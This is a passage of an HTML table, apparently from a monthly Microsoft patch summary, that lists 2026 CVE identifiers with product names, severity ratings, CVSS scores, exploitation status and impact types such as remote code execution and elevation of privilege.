  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47655"><span>CVE-2026-47655</span></a></td>
  <td width="256" class="xl68">Microsoft Graph
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45497"><span>CVE-2026-45497</span></a></td>
  <td width="256" class="xl68">Microsoft M365 Copilot
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45460"><span>CVE-2026-45460</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">4.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45472"><span>CVE-2026-45472</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45474"><span>CVE-2026-45474</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45461"><span>CVE-2026-45461</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45463"><span>CVE-2026-45463</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45456"><span>CVE-2026-45456</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45458"><span>CVE-2026-45458</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47635"><span>CVE-2026-47635</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26142"><span>CVE-2026-26142</span></a></td>
  <td width="256" class="xl68">Nuance PowerScribe
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47289"><span>CVE-2026-47289</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47654"><span>CVE-2026-47654</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48563"><span>CVE-2026-48563</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42992"><span>CVE-2026-42992</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44799"><span>CVE-2026-44799</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44801"><span>CVE-2026-44801</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42985"><span>CVE-2026-42985</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45648"><span>CVE-2026-45648</span></a></td>
  <td width="256" class="xl68">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42987"><span>CVE-2026-42987</span></a></td>
  <td width="256" class="xl68">Windows Deployment
  Services (WDS) Remote Code Execution</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33828"><span>CVE-2026-33828</span></a></td>
  <td width="256" class="xl68">Windows Device Health
  Attestation (DHA) Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44803"><span>CVE-2026-44803</span></a></td>
  <td width="256" class="xl68">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44812"><span>CVE-2026-44812</span></a></td>
  <td width="256" class="xl68">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45607"><span>CVE-2026-45607</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45641"><span>CVE-2026-45641</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47652"><span>CVE-2026-47652</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47288"><span>CVE-2026-47288</span></a></td>
  <td width="256" class="xl68">Windows Kerberos Key
  Distribution Center (KDC) Remote Code Execution</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45657"><span>CVE-2026-45657</span></a></td>
  <td width="256" class="xl68">Windows Kernel Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48574"><span>CVE-2026-48574</span></a></td>
  <td width="256" class="xl68">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45490"><span>CVE-2026-45490</span></a></td>
  <td width="256" class="xl68">.NET SDK Elevation of
  Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45491"><span>CVE-2026-45491</span></a></td>
  <td width="256" class="xl68">.NET Tampering
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45591"><span>CVE-2026-45591</span></a></td>
  <td width="256" class="xl68">ASP.NET Core Denial of
  Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47643"><span>CVE-2026-47643</span></a></td>
  <td width="256" class="xl68">Azure Stack Edge
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41098"><span>CVE-2026-41098</span></a></td>
  <td width="256" class="xl68">Azure Stack Edge
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45642"><span>CVE-2026-45642</span></a></td>
  <td width="256" class="xl68">Microsoft Azure
  Attestation service and Device Health Attestation Service Spoofing
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45650"><span>CVE-2026-45650</span></a></td>
  <td width="256" class="xl68">Microsoft Bing Search
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45637"><span>CVE-2026-45637</span></a></td>
  <td width="256" class="xl68">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45647"><span>CVE-2026-45647</span></a></td>
  <td width="256" class="xl68">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40371"><span>CVE-2026-40371</span></a></td>
  <td width="256" class="xl68">Microsoft Dynamics 365
  (on-premises) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44822"><span>CVE-2026-44822</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45455"><span>CVE-2026-45455</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45469"><span>CVE-2026-45469</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44817"><span>CVE-2026-44817</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44818"><span>CVE-2026-44818</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44820"><span>CVE-2026-44820</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44823"><span>CVE-2026-44823</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45459"><span>CVE-2026-45459</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45504"><span>CVE-2026-45504</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45502"><span>CVE-2026-45502</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45503"><span>CVE-2026-45503</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45583"><span>CVE-2026-45583</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45500"><span>CVE-2026-45500</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45501"><span>CVE-2026-45501</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47631"><span>CVE-2026-47631</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42986"><span>CVE-2026-42986</span></a></td>
  <td width="256" class="xl68">Microsoft Graphics
  Component Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41092"><span>CVE-2026-41092</span></a></td>
  <td width="256" class="xl68">Microsoft Kinect
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45644"><span>CVE-2026-45644</span></a></td>
  <td width="256" class="xl68">Microsoft Live Share
  Canvas SDK Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47293"><span>CVE-2026-47293</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45485"><span>CVE-2026-45485</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44821"><span>CVE-2026-44821</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45483"><span>CVE-2026-45483</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Project Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45475"><span>CVE-2026-45475</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44819"><span>CVE-2026-44819</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44824"><span>CVE-2026-44824</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45645"><span>CVE-2026-45645</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49161"><span>CVE-2026-49161</span></a></td>
  <td width="256" class="xl68">Microsoft PC Manager
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42902"><span>CVE-2026-42902</span></a></td>
  <td width="256" class="xl68">Microsoft PowerToys
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45484"><span>CVE-2026-45484</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45454"><span>CVE-2026-45454</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
